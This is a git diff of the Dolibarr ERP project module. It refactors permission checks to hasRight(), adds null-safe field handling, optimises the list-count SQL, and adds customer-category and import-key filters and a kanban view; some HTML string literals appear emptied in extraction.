'name'=>"TaskTimeSpent", 'title'=>"ListTaskTimeUserProject", 'class'=>'Task', 'margin'=>'minus', 'table'=>'projet_task', - 'datefieldname'=>'task_date', + 'datefieldname'=>'element_date', 'disableamount'=>0, 'urlnew'=>DOL_URL_ROOT.'/projet/tasks/time.php?withproject=1&action=createtime&projectid='.$id.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'buttonnew'=>'AddTimeSpent', - 'testnew'=>$user->rights->projet->creer, - 'test'=>($conf->project->enabled && $user->rights->projet->lire && empty($conf->global->PROJECT_HIDE_TASKS))), + 'testnew'=>$user->hasRight('project', 'creer'), + 'test'=>!empty($conf->project->enabled) && $user->hasRight('projet', 'lire') && empty($conf->global->PROJECT_HIDE_TASKS)), 'stock_mouvement'=>array( 'name'=>"MouvementStockAssociated", 'title'=>"ListMouvementStockProject", 'class'=>'MouvementStock', - 'margin'=>'minus', 'table'=>'stock_mouvement', 'datefieldname'=>'datem', + 'margin'=>'minus', 'disableamount'=>0, - 'test'=>($conf->stock->enabled && $user->rights->stock->mouvement->lire && !empty($conf->global->STOCK_MOVEMENT_INTO_PROJECT_OVERVIEW))), + 'test'=>!empty($conf->stock->enabled) && $user->hasRight('stock', 'mouvement', 'lire') && !empty($conf->global->STOCK_MOVEMENT_INTO_PROJECT_OVERVIEW)), 'salaries'=>array( 'name'=>"Salaries", 'title'=>"ListSalariesAssociatedProject", @@ -601,8 +602,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/salaries/card.php?action=create&projectid='.$id.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'salaries', 'buttonnew'=>'AddSalary', - 'testnew'=>$user->rights->salaries->write, - 'test'=>$conf->salaries->enabled && $user->rights->salaries->read), + 'testnew'=>$user->hasRight('salaries', 'write'), + 'test'=>!empty($conf->salaries->enabled) && $user->hasRight('salaries', 'read')), 'variouspayment'=>array( 'name'=>"VariousPayments", 'title'=>"ListVariousPaymentsAssociatedProject", @@ -614,8 +615,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/compta/bank/various_payment/card.php?action=create&projectid='.$id.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'banks', 'buttonnew'=>'AddVariousPayment', - 'testnew'=>$user->rights->banque->modifier, - 'test'=>$conf->banque->enabled && $user->rights->banque->lire && empty($conf->global->BANK_USE_OLD_VARIOUS_PAYMENT)), + 'testnew'=>$user->hasRight('banque', 'modifier'), + 'test'=>!empty($conf->banque->enabled) && $user->hasRight('banque', 'lire') && !empty($conf->global->BANK_USE_OLD_VARIOUS_PAYMENT)), /* No need for this, available on dedicated tab "Agenda/Events" 'agenda'=>array( 'name'=>"Agenda", @@ -657,7 +658,6 @@ if (!empty($conf->global->PROJECT_ELEMENTS_FOR_MINUS_MARGIN)) { } - $parameters = array('listofreferent'=>$listofreferent); $resHook = $hookmanager->executeHooks('completeListOfReferent', $parameters, $object, $action); @@ -693,7 +693,7 @@ if (!$showdatefilter) { print '
      '; print '
      '; print ''; - print ''; + print ''; print ''; print '
      '; print $form->selectDate($dates, 'dates', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans("From")); @@ -730,7 +730,7 @@ $tooltiponprofitplus = $tooltiponprofitminus = ''; foreach ($listofreferent as $key => $value) { $name = $langs->trans($value['name']); $qualified = $value['test']; - $margin = $value['margin']; + $margin = empty($value['margin']) ? 0 : $value['margin']; if ($qualified && isset($margin)) { // If this element must be included into profit calculation ($margin is 'minus' or 'add') if ($margin == 'add') { $tooltiponprofitplus .= ' > '.$name." (+)
      \n"; @@ -753,6 +753,7 @@ $total_revenue_ht = 0; $balance_ht = 0; $balance_ttc = 0; +// Loop on each element type (proposal, sale order, invoices, ...) foreach ($listofreferent as $key => $value) { $parameters = array( 'total_revenue_ht' =>& $total_revenue_ht, @@ -777,8 +778,8 @@ foreach ($listofreferent as $key => $value) { $tablename = $value['table']; $datefieldname = $value['datefieldname']; $qualified = $value['test']; - $margin = $value['margin']; - $project_field = $value['project_field']; + $margin = empty($value['margin']) ? 0 : $value['margin']; + $project_field = empty($value['project_field']) ? '' : $value['project_field']; if ($qualified && isset($margin)) { // If this element must be included into profit calculation ($margin is 'minus' or 'add') $element = new $classname($db); @@ -788,11 +789,12 @@ foreach ($listofreferent as $key => $value) { $total_ht = 0; $total_ttc = 0; + // Loop on each object for the current element type $num = count($elementarray); for ($i = 0; $i < $num; $i++) { $tmp = explode('_', $elementarray[$i]); $idofelement = $tmp[0]; - $idofelementuser = $tmp[1]; + $idofelementuser = !empty($tmp[1]) ? $tmp[1] : ""; $element->fetch($idofelement); if ($idofelementuser) { @@ -872,7 +874,7 @@ foreach ($listofreferent as $key => $value) { $defaultvat = get_default_tva($mysoc, $mysoc); $total_ttc_by_line = price2num($total_ht_by_line * (1 + ($defaultvat / 100)), 'MT'); } elseif ($key == 'loan') { - $total_ttc_by_line = $total_ht_by_line; // For loan there is actually no taxe managed in Dolibarr + $total_ttc_by_line = $total_ht_by_line; // For loan there is actually no taxe managed in Dolibarr } else { $total_ttc_by_line = $element->total_ttc; } @@ -893,19 +895,14 @@ foreach ($listofreferent as $key => $value) { } // Each element with at least one line is output - $qualifiedforfinalprofit = true; - if ($key == 'intervention' && empty($conf->global->PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT)) { - $qualifiedforfinalprofit = false; - } - //var_dump($key.' '.$qualifiedforfinalprofit); // Calculate margin - if ($qualifiedforfinalprofit) { - if ($margin == 'add') { + if ($margin) { + if ($margin === 'add') { $total_revenue_ht += $total_ht; } - if ($margin != "add") { // Revert sign + if ($margin === "minus") { // Revert sign $total_ht = -$total_ht; $total_ttc = -$total_ttc; } @@ -921,24 +918,24 @@ foreach ($listofreferent as $key => $value) { print '
      '; // Amount HT print ''; // Amount TTC print ''; print ''; @@ -990,11 +987,11 @@ foreach ($listofreferent as $key => $value) { $tablename = $value['table']; $datefieldname = $value['datefieldname']; $qualified = $value['test']; - $langtoload = $value['lang']; - $urlnew = $value['urlnew']; - $buttonnew = $value['buttonnew']; - $testnew = $value['testnew']; - $project_field = $value['project_field']; + $langtoload = empty($value['lang']) ? '' : $value['lang']; + $urlnew = empty($value['urlnew']) ? '' : $value['urlnew']; + $buttonnew = empty($value['buttonnew']) ? '' : $value['buttonnew']; + $testnew = empty($value['testnew']) ? '' : $value['testnew']; + $project_field = empty($value['project_field']) ? '' : $value['project_field']; $exclude_select_element = array('payment_various'); if (!empty($value['exclude_select_element'])) { @@ -1341,7 +1338,7 @@ foreach ($listofreferent as $key => $value) { $tmpuser2->fetch($element->fk_user_author); print $tmpuser2->getNomUrl(1, '', 48); } - } elseif ($tablename == 'projet_task' && $key == 'project_task_time') { // if $key == 'project_task', we don't want details per user + } elseif ($tablename == 'projet_task' && $key == 'element_time') { // if $key == 'project_task', we don't want details per user print $elementuser->getNomUrl(1); } print ''; diff --git a/htdocs/projet/ganttview.php b/htdocs/projet/ganttview.php index f2889d7c469..47f7cb0a9ef 100644 --- a/htdocs/projet/ganttview.php +++ b/htdocs/projet/ganttview.php @@ -181,7 +181,7 @@ if (($id > 0 && is_numeric($id)) || !empty($ref)) { // Budget print ''; @@ -259,7 +259,7 @@ print load_fiche_titre($title, $linktotasks.'   '.$linktocreatetask, 'proje // can have a parent that is not affected to him). $tasksarray = $task->getTasksArray(0, 0, ($object->id ? $object->id : $id), $socid, 0); // We load also tasks limited to a particular user -//$tasksrole=($_REQUEST["mode"]=='mine' ? $task->getUserRolesForProjectsOrTasks(0,$user,$object->id,0) : ''); +//$tasksrole=($_REQUEST["mode"]=='mine' ? $task->getUserRolesForProjectsOrTasks(null, $user, $object->id, 0) : ''); //var_dump($tasksarray); //var_dump($tasksrole); diff --git a/htdocs/projet/index.php b/htdocs/projet/index.php index 2698a4b1a21..6e39b629347 100644 --- a/htdocs/projet/index.php +++ b/htdocs/projet/index.php @@ -119,10 +119,11 @@ $morehtml = ''; $morehtml .= ''; $morehtml .= ''; $morehtml .= ''; -$morehtml .= ''; $morehtml .= ''; $morehtml .= ''; $morehtml .= ''; +$morehtml .= ajax_combobox("search_project_user", array(), 0, 0, 'resolve', '-1', 'small'); $morehtml .= ''; $morehtml .= ''; @@ -188,14 +189,12 @@ if ($resql) { print '
      '; -/* - * Statistics - */ + +// Statistics include DOL_DOCUMENT_ROOT.'/projet/graph_opportunities.inc.php'; - // List of draft projects -print_projecttasks_array($db, $form, $socid, $projectsListId, 0, 0, $listofoppstatus, array('projectlabel', 'plannedworkload', 'declaredprogress', 'prospectionstatus', 'projectstatus')); +print_projecttasks_array($db, $form, $socid, $projectsListId, 0, 0, $listofoppstatus, array('projectlabel', 'plannedworkload', 'declaredprogress', 'prospectionstatus', 'projectstatus'), $max); print '
      '; @@ -310,7 +309,7 @@ if ($resql) { $companystatic = new Societe($db); // We need a clean new object for next loop because current one has some properties set. - +// List of open projects per thirdparty $sql = "SELECT COUNT(p.rowid) as nb, SUM(p.opp_amount)"; $sql .= ", s.rowid as socid, s.nom as name, s.name_alias"; $sql .= ", s.code_client, s.code_compta, s.client"; diff --git a/htdocs/projet/jsgantt_language.js.php b/htdocs/projet/jsgantt_language.js.php index 35ab1132ae7..93b9ee5505f 100644 --- a/htdocs/projet/jsgantt_language.js.php +++ b/htdocs/projet/jsgantt_language.js.php @@ -67,7 +67,7 @@ var vLangs={'getDefaultLang(1); ?>': 'sunday':'transnoentities('Sunday'); ?>','monday':'transnoentities('Monday'); ?>','tuesday':'transnoentities('Tuesday'); ?>','wednesday':'transnoentities('Wednesday'); ?>','thursday':'transnoentities('Thursday'); ?>','friday':'transnoentities('Friday'); ?>','saturday':'transnoentities('Saturday'); ?>', 'sun':'transnoentities('SundayMin'); ?>','mon':'transnoentities('MondayMin'); ?>','tue':'transnoentities('TuesdayMin'); ?>','wed':'transnoentities('WednesdayMin'); ?>','thu':'transnoentities('ThursdayMin'); ?>','fri':'transnoentities('FridayMin'); ?>','sat':'transnoentities('SaturdayMin'); ?>' } -}; +} var vLang='getDefaultLang(1); ?>'; trans("Projects"); @@ -111,7 +116,15 @@ $search_accept_booth_suggestions = GETPOST('search_accept_booth_suggestions', 'i $search_price_registration = GETPOST("search_price_registration", 'alpha'); $search_price_booth = GETPOST("search_price_booth", 'alpha'); $search_login = GETPOST('search_login', 'alpha'); -$optioncss = GETPOST('optioncss', 'alpha'); +$search_import_key = GETPOST('search_import_key', 'alpha'); +$searchCategoryCustomerOperator = 0; +if (GETPOSTISSET('formfilteraction')) { + $searchCategoryCustomerOperator = GETPOST('search_category_customer_operator', 'int'); +} elseif (!empty($conf->global->MAIN_SEARCH_CAT_OR_BY_DEFAULT)) { + $searchCategoryCustomerOperator = $conf->global->MAIN_SEARCH_CAT_OR_BY_DEFAULT; +} +$searchCategoryCustomerList = GETPOST('search_category_customer_list', 'array'); + $mine = ((GETPOST('mode') == 'mine') ? 1 : 0); if ($mine) { @@ -125,7 +138,6 @@ $search_eday = GETPOST('search_eday', 'int'); $search_emonth = GETPOST('search_emonth', 'int'); $search_eyear = GETPOST('search_eyear', 'int'); - $search_date_start_startmonth = GETPOST('search_date_start_startmonth', 'int'); $search_date_start_startyear = GETPOST('search_date_start_startyear', 'int'); $search_date_start_startday = GETPOST('search_date_start_startday', 'int'); @@ -143,7 +155,10 @@ $search_date_end_endmonth = GETPOST('search_date_end_endmonth', 'int'); $search_date_end_endyear = GETPOST('search_date_end_endyear', 'int'); $search_date_end_endday = GETPOST('search_date_end_endday', 'int'); $search_date_end_end = dol_mktime(23, 59, 59, $search_date_end_endmonth, $search_date_end_endday, $search_date_end_endyear); // Use tzserver -$search_category_array = GETPOST("search_category_".Categorie::TYPE_PROJECT."_list", "array"); + +if (isModEnabled('categorie')) { + $search_category_array = GETPOST("search_category_".Categorie::TYPE_PROJECT."_list", "array"); +} if ($search_status == '') { $search_status = -1; // -1 or 1 @@ -177,6 +192,8 @@ foreach ($object->fields as $key => $val) { // Add name object fields to "search in all" $fieldstosearchall['s.nom'] = "ThirdPartyName"; +$fieldstosearchall['s.name_alias'] = "AliasNameShort"; +$fieldstosearchall['s.code_client'] = "CustomerCode"; // Definition of array of fields for columns $arrayfields = array(); @@ -200,9 +217,9 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_array_fields.tpl.php'; $arrayfields['s.nom'] = array('label'=>$langs->trans("ThirdParty"), 'checked'=>1, 'position'=>21, 'enabled'=>(!isModEnabled('societe') ? 0 : 1)); $arrayfields['s.name_alias'] = array('label'=>"AliasNameShort", 'checked'=>0, 'position'=>22); $arrayfields['commercial'] = array('label'=>$langs->trans("SaleRepresentativesOfThirdParty"), 'checked'=>0, 'position'=>23); -$arrayfields['c.assigned'] = array('label'=>$langs->trans("AssignedTo"), 'checked'=>-1, 'position'=>120); -$arrayfields['opp_weighted_amount'] = array('label'=>$langs->trans('OpportunityWeightedAmountShort'), 'checked'=>0, 'position'=> 116, 'enabled'=>(empty($conf->global->PROJECT_USE_OPPORTUNITIES) ? 0 : 1), 'position'=>106); -$arrayfields['u.login'] = array('label'=>"Author", 'checked'=>1, 'position'=>165); +$arrayfields['c.assigned'] = array('label'=>$langs->trans("AssignedTo"), 'checked'=>1, 'position'=>120); +$arrayfields['opp_weighted_amount'] = array('label'=>$langs->trans('OpportunityWeightedAmountShort'), 'checked'=>0, 'enabled'=>(empty($conf->global->PROJECT_USE_OPPORTUNITIES) ? 0 : 1), 'position'=>106); +$arrayfields['u.login'] = array('label'=>"Author", 'checked'=>-1, 'position'=>165); // Force some fields according to search_usage filter... if (GETPOST('search_usage_opportunity')) { //$arrayfields['p.usage_opportunity']['visible'] = 1; // Not require, filter on search_opp_status is enough @@ -290,6 +307,7 @@ if (empty($reshook)) { $search_price_registration = ''; $search_price_booth = ''; $search_login = ''; + $search_import_key = ''; $toselect = array(); $search_array_options = array(); $search_category_array = array(); @@ -355,10 +373,15 @@ if (empty($reshook)) { */ $form = new Form($db); +$formcompany = new FormCompany($db); + +$now = dol_now(); $companystatic = new Societe($db); +$taskstatic = new Task($db); $formother = new FormOther($db); $formproject = new FormProjets($db); +$userstatic = new User($db); $help_url = "EN:Module_Projects|FR:Module_Projets|ES:Módulo_Proyectos"; $title = $langs->trans("LeadsOrProjects"); @@ -399,11 +422,14 @@ if (count($listofprojectcontacttypeexternal) == 0) { $listofprojectcontacttypeexternal[0] = '0'; // To avoid sql syntax error if not found } -$distinct = 'DISTINCT'; // We add distinct until we are added a protection to be sure a contact of a project and task is only once. +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields + +$distinct = 'DISTINCT'; // We add distinct until we have added a protection to be sure a contact of a project and task is only once. $sql = "SELECT ".$distinct." p.rowid as id, p.ref, p.title, p.fk_statut as status, p.fk_opp_status, p.public, p.fk_user_creat,"; $sql .= " p.datec as date_creation, p.dateo as date_start, p.datee as date_end, p.opp_amount, p.opp_percent, (p.opp_amount*p.opp_percent/100) as opp_weighted_amount, p.tms as date_update, p.budget_amount,"; $sql .= " p.usage_opportunity, p.usage_task, p.usage_bill_time, p.usage_organize_event,"; -$sql .= " p.email_msgid,"; +$sql .= " p.email_msgid, p.import_key,"; $sql .= " p.accept_conference_suggestions, p.accept_booth_suggestions, p.price_registration, p.price_booth,"; $sql .= " s.rowid as socid, s.nom as name, s.name_alias as alias, s.email, s.email, s.phone, s.fax, s.address, s.town, s.zip, s.fk_pays, s.client, s.code_client,"; $sql .= " country.code as country_code,"; @@ -418,8 +444,11 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as p"; if (!empty($extrafields->attributes[$object->table_element]['label']) &&is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (p.rowid = ef.fk_object)"; @@ -440,6 +469,10 @@ if ($search_project_user > 0) { if ($search_project_contact > 0) { $sql .= ", ".MAIN_DB_PREFIX."element_contact as ecp_contact"; } + +$reshook = $hookmanager->executeHooks('printFieldListFrom', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; + $sql .= " WHERE p.entity IN (".getEntity('project').')'; if (empty($user->rights->projet->all->lire)) { $sql .= " AND p.rowid IN (".$db->sanitize($projectsListId).")"; // public and assigned to, or restricted to company for external users @@ -454,11 +487,15 @@ if ($search_ref) { if ($search_label) { $sql .= natural_search('p.title', $search_label); } -if ($search_societe) { - $sql .= natural_search('s.nom', $search_societe); -} -if ($search_societe_alias) { - $sql .= natural_search('s.name_alias', $search_societe_alias); +if (empty($arrayfields['s.name_alias']['checked']) && $search_societe) { + $sql .= natural_search(array("s.nom", "s.name_alias"), $search_societe); +} else { + if ($search_societe) { + $sql .= natural_search('s.nom', $search_societe); + } + if ($search_societe_alias) { + $sql .= natural_search('s.name_alias', $search_societe_alias); + } } if ($search_opp_amount) { $sql .= natural_search('p.opp_amount', $search_opp_amount, 1); @@ -522,9 +559,11 @@ if ($search_sale > 0) { // No check is done on company permission because readability is managed by public status of project and assignement. //if (! $user->rights->societe->client->voir && ! $socid) $sql.= " AND ((s.rowid = sc.fk_soc AND sc.fk_user = ".((int) $user->id).") OR (s.rowid IS NULL))"; if ($search_project_user > 0) { + // TODO Replace this with a EXISTS and remove the link to table + DISTINCT $sql .= " AND ecp.fk_c_type_contact IN (".$db->sanitize(join(',', array_keys($listofprojectcontacttype))).") AND ecp.element_id = p.rowid AND ecp.fk_socpeople = ".((int) $search_project_user); } if ($search_project_contact > 0) { + // TODO Replace this with a EXISTS and remove the link to table + DISTINCT $sql .= " AND ecp_contact.fk_c_type_contact IN (".$db->sanitize(join(',', array_keys($listofprojectcontacttypeexternal))).") AND ecp_contact.element_id = p.rowid AND ecp_contact.fk_socpeople = ".((int) $search_project_contact); } if ($search_opp_amount != '') { @@ -560,6 +599,9 @@ if ($search_price_booth != '') { if ($search_login) { $sql .= natural_search(array('u.login', 'u.firstname', 'u.lastname'), $search_login); } +if ($search_import_key) { + $sql .= natural_search(array('p.import_key'), $search_import_key); +} // Search for tag/category ($searchCategoryProjectList is an array of ID) $searchCategoryProjectList = $search_category_array; $searchCategoryProjectOperator = 0; @@ -590,43 +632,95 @@ if (!empty($searchCategoryProjectList)) { } } } +$searchCategoryCustomerSqlList = array(); +if ($searchCategoryCustomerOperator == 1) { + $existsCategoryCustomerList = array(); + foreach ($searchCategoryCustomerList as $searchCategoryCustomer) { + if (intval($searchCategoryCustomer) == -2) { + $sqlCategoryCustomerNotExists = " NOT EXISTS ("; + $sqlCategoryCustomerNotExists .= " SELECT cat_cus.fk_soc"; + $sqlCategoryCustomerNotExists .= " FROM ".$db->prefix()."categorie_societe AS cat_cus"; + $sqlCategoryCustomerNotExists .= " WHERE cat_cus.fk_soc = p.fk_soc"; + $sqlCategoryCustomerNotExists .= " )"; + $searchCategoryCustomerSqlList[] = $sqlCategoryCustomerNotExists; + } elseif (intval($searchCategoryCustomer) > 0) { + $existsCategoryCustomerList[] = $db->escape($searchCategoryCustomer); + } + } + if (!empty($existsCategoryCustomerList)) { + $sqlCategoryCustomerExists = " EXISTS ("; + $sqlCategoryCustomerExists .= " SELECT cat_cus.fk_soc"; + $sqlCategoryCustomerExists .= " FROM ".$db->prefix()."categorie_societe AS cat_cus"; + $sqlCategoryCustomerExists .= " WHERE cat_cus.fk_soc = p.fk_soc"; + $sqlCategoryCustomerExists .= " AND cat_cus.fk_categorie IN (".$db->sanitize(implode(',', $existsCategoryCustomerList)).")"; + $sqlCategoryCustomerExists .= " )"; + $searchCategoryCustomerSqlList[] = $sqlCategoryCustomerExists; + } + if (!empty($searchCategoryCustomerSqlList)) { + $sql .= " AND (".implode(' OR ', $searchCategoryCustomerSqlList).")"; + } +} else { + foreach ($searchCategoryCustomerList as $searchCategoryCustomer) { + if (intval($searchCategoryCustomer) == -2) { + $sqlCategoryCustomerNotExists = " NOT EXISTS ("; + $sqlCategoryCustomerNotExists .= " SELECT cat_cus.fk_soc"; + $sqlCategoryCustomerNotExists .= " FROM ".$db->prefix()."categorie_societe AS cat_cus"; + $sqlCategoryCustomerNotExists .= " WHERE cat_cus.fk_soc = p.fk_soc"; + $sqlCategoryCustomerNotExists .= " )"; + $searchCategoryCustomerSqlList[] = $sqlCategoryCustomerNotExists; + } elseif (intval($searchCategoryCustomer) > 0) { + $searchCategoryCustomerSqlList[] = "p.fk_soc IN (SELECT fk_soc FROM ".$db->prefix()."categorie_societe WHERE fk_categorie = ".((int) $searchCategoryCustomer).")"; + } + } + if (!empty($searchCategoryCustomerSqlList)) { + $sql .= " AND (".implode(' AND ', $searchCategoryCustomerSqlList).")"; + } +} // Add where from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; // Add where from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; -$sql .= $db->order($sortfield, $sortorder); +//print $sql; // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -// if total of record found is smaller than limit, no need to do paging and to restart another select with limits set. -if (is_numeric($nbtotalofrecords) && ($limit > $nbtotalofrecords || empty($limit))) { - $num = $nbtotalofrecords; -} else { - if (!empty($limit)) { - $sql .= $db->plimit($limit + 1, $offset); - } - $resql = $db->query($sql); - if (!$resql) { - dol_print_error($db); - exit; - } - - $num = $db->num_rows($resql); +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); } +$resql = $db->query($sql); +if (!$resql) { + dol_print_error($db); + exit; +} + +$num = $db->num_rows($resql); + // Direct jump if only one record found -if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all) { +if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all && !$page) { $obj = $db->fetch_object($resql); header("Location: ".DOL_URL_ROOT.'/projet/card.php?id='.$obj->id); exit; @@ -636,13 +730,14 @@ if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $ // Output page // -------------------------------------------------------------------- -dol_syslog("list allowed project", LOG_DEBUG); - llxHeader('', $title, $help_url); $arrayofselected = is_array($toselect) ? $toselect : array(); $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -721,8 +816,10 @@ if ($search_date_end_end) { if ($socid) { $param .= '&socid='.urlencode($socid); } -if (!empty($search_categ)) { - $param .= '&search_categ='.urlencode($search_categ); +if (!empty($search_category_array)) { + foreach ($search_category_array as $tmpval) { + $param .= '&search_categegory_project_list[]='.urlencode($tmpval); + } } if ($search_ref != '') { $param .= '&search_ref='.urlencode($search_ref); @@ -751,8 +848,8 @@ if ($search_public != '') { if ($search_project_user > 0) { $param .= '&search_project_user='.urlencode($search_project_user); } -if ($search_project_contact != '') { - $param .= '&search_project_user='.urlencode($search_project_contact); +if ($search_project_contact > 0) { + $param .= '&search_project_contact='.urlencode($search_project_contact); } if ($search_sale > 0) { $param .= '&search_sale='.urlencode($search_sale); @@ -787,14 +884,21 @@ if ($search_price_booth != '') { if ($search_login) { $param .= '&search_login='.urlencode($search_login); } +if ($search_import_key) { + $param .= '&search_import_key='.urlencode($search_import_key); +} if ($optioncss != '') { $param .= '&optioncss='.urlencode($optioncss); } +foreach ($searchCategoryCustomerList as $searchCategoryCustomer) { + $param .= "&search_category_customer_list[]=".urlencode($searchCategoryCustomer); +} // Add $param from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; // List of mass actions available $arrayofmassactions = array( + 'validate'=>img_picto('', 'check', 'class="pictofixedwidth"').$langs->trans("Validate"), 'generate_doc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("ReGeneratePDF"), //'builddoc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("PDFMerge"), //'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), @@ -802,6 +906,7 @@ $arrayofmassactions = array( //if($user->rights->societe->creer) $arrayofmassactions['createbills']=$langs->trans("CreateInvoiceForThisCustomer"); if ($user->rights->projet->creer) { $arrayofmassactions['close'] = img_picto('', 'close_title', 'class="pictofixedwidth"').$langs->trans("Close"); + $arrayofmassactions['preaffectuser'] = img_picto('', 'user', 'class="pictofixedwidth"').$langs->trans("AffectUser"); } if ($user->rights->projet->supprimer) { $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); @@ -809,7 +914,7 @@ if ($user->rights->projet->supprimer) { if (isModEnabled('category') && $user->rights->projet->creer) { $arrayofmassactions['preaffecttag'] = img_picto('', 'category', 'class="pictofixedwidth"').$langs->trans("AffectTag"); } -if (in_array($massaction, array('presend', 'predelete', 'preaffecttag'))) { +if (in_array($massaction, array('presend', 'predelete', 'preaffecttag', 'preaffectuser'))) { $arrayofmassactions = array(); } @@ -822,7 +927,11 @@ if (!empty($socid)) { if ($search_usage_event_organization == 1) { $url .= '&usage_organize_event=1'; } -$newcardbutton = dolGetButtonTitle($langs->trans('NewProject'), '', 'fa fa-plus-circle', $url, '', $user->rights->projet->creer); + +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('NewProject'), '', 'fa fa-plus-circle', $url, '', $user->rights->projet->creer); print '
      '; if ($optioncss != '') { @@ -834,6 +943,8 @@ print ''; print ''; print ''; print ''; +print ''; + // Show description of content $texthelp = ''; @@ -893,7 +1004,19 @@ if ($user->rights->user->user->lire) { // Filter on categories if (isModEnabled('categorie') && $user->rights->categorie->lire) { $formcategory = new FormCategory($db); - $moreforfilter .= $formcategory->getFilterBox(Categorie::TYPE_PROJECT, $search_category_array); + $moreforfilter .= $formcategory->getFilterBox(Categorie::TYPE_PROJECT, $search_category_array, 'minwidth300imp widthcentpercentminusx'); +} +// Filter on customer categories +if (!empty($conf->global->MAIN_SEARCH_CATEGORY_CUSTOMER_ON_PROJECT_LIST) && !empty($conf->categorie->enabled) && $user->rights->categorie->lire) { + $moreforfilter .= '
      '; + $tmptitle = $langs->transnoentities('CustomersProspectsCategoriesShort'); + $moreforfilter .= img_picto($tmptitle, 'category', 'class="pictofixedwidth"'); + $categoriesArr = $form->select_all_categories(Categorie::TYPE_CUSTOMER, '', '', 64, 0, 1); + $categoriesArr[-2] = '- '.$langs->trans('NotCategorized').' -'; + $moreforfilter .= Form::multiselectarray('search_category_customer_list', $categoriesArr, $searchCategoryCustomerList, 0, 0, 'minwidth300', 0, 0, '', 'category', $tmptitle); + $moreforfilter .= ' '; + $moreforfilter .= $form->textwithpicto('', $langs->trans('UseOrOperatorForCategories') . ' : ' . $tmptitle, 1, 'help', '', 0, 2, 'tooltip_cat_cus'); // Tooltip on click + $moreforfilter .= '
      '; } if (!empty($moreforfilter)) { @@ -1099,15 +1222,20 @@ if (!empty($arrayfields['p.email_msgid']['checked'])) { print '
